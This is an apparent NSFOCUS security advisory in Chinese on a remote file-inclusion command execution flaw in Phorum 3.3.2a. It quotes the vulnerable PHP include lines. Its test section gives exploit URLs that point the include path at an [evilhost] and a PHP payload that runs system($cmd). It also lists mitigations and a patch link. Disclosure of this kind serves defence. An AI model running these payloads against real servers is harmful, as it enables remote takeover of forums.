首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第31期->最新漏洞
期刊号: 类型: 关键词:
Phorum远程命令执行漏洞

日期:2002-04-18

受影响的系统:  
Phorum Phorum 3.3.2 a

不受影响系统:  
Phorum Phorum 3.3.2 b3

描述:
--------------------------------------------------------------------------
BUGTRAQ  ID: 4763

Phorum是一款基于PHP的WEB论坛程序,可使用在Linux和Unix操作系统下,也可使用在Microsoft Windows操作系统下。

Phorum在处理用户传递给URL参数的数据缺少正确充分的检查,可导致远程攻击者以Phorum进程的权限在目标系统中执行任意命令。

Phorum中的'plugin.php','admin.php' 和 'del.php'脚本都存在漏洞,可导致远程攻击者以Phorum进程的权限在目标系统中执行任意命令。

1)./plugin/replace/plugin.php中的问题代码如下:

        <?php
        include("$PHORUM[settings_dir]/replace.php");


        function mod_replace_read_body ($body) {
          global $pluginreplace;
          reset($pluginreplace);
          while(list($key,$val) = each($pluginreplace)) {
            $body = str_replace($key,$val,$body);
          }
          return $body;
        }


        $plugins["read_body"]["mod_replace"]="mod_replace_read_body";


        ?>

其中PHORUM[settings_dir]变量对用户提交的数据缺少检查,可导致远程攻击者包含位于自己控制机器上的任意文件来执行任意代码。

2)admin/actions/del.php中的问题代码如下:

<?php
    require "$include_path/delete_message.php";
    delete_messages($id);
    QueMessage("Message(s) $id and all children were deleted!<br>");
?>

其中del.php对include_path变量的数据缺少正确的检查, 可导致远程攻击者包含位于自己控制机器上的任意文件来执行任意代码。

3)forum/plugin/replace/admin.php包含如下问题代码:

include("$PHORUM[settings_dir]/replace.php");

其中PHORUM[settings_dir]变量对用户提交的数据缺少检查,可导致远程攻击者包含位于自己控制机器上的任意文件来执行任意代码。

<*来源:markus arndt (markus-arndt@web.de)
        Gabriel A. Maggiotti (gmaggiot@ciudad.com.ar)
  
  链接:http://archives.neohapsis.com/archives/bugtraq/2002-05/0147.html
        http://archives.neohapsis.com/archives/bugtraq/2002-05/0153.html
        http://archives.neohapsis.com/archives/bugtraq/2002-05/0156.html
*>

测试程序:
--------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

markus arndt (markus-arndt@web.de)提供了如下测试方法:

http://[target]/phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=http://[evilhost]&cmd=ls

http://[target]/phorum/plugin/replace/admin.php?PHORUM[settings_dir]=http://[evilhost]&cmd=ls

http://[vulnerablehost]/phorum/admin/actions/del.php?include_path=http://[evilhost]&cmd=ls

其中[evilhost]中需要包含如下代码的replace.php脚本:

        <?
        echo("<?
        system(\"\$cmd\");
        ?>");
        ?>

-------------------------------------------------------------------------
建议:

临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 严格过滤用户提交的变量$PHORUM[settings_dir]。

* 在php.ini里设置allow_url_fopen = Off。

厂商补丁:

Phorum
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

Phorum Phorum 3.3.2 a:

Phorum Upgrade phorum-3.3.2b3.tar.gz
http://phorum.org/downloads/phorum-3.3.2b3.tar.gz

版权所有,未经许可,不得转载